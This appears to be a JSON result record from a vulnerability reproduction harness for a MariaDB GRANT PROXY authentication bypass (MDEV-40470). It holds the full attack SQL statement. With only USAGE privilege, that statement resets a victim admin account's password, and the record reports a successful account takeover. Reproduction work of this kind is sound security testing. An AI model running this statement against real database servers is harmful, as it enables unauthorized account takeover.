{
  "schema_version": 1,
  "bug": "MDEV-40470 / H1-3876430 GRANT PROXY IDENTIFIED VIA auth-list bypass",
  "role": "vuln",
  "attempt": 1,
  "image": "mariadb:12.3.2",
  "attacker_privileges": "USAGE only",
  "attack_statement": "GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked')",
  "account_takeover": true,
  "fix_resisted": false
}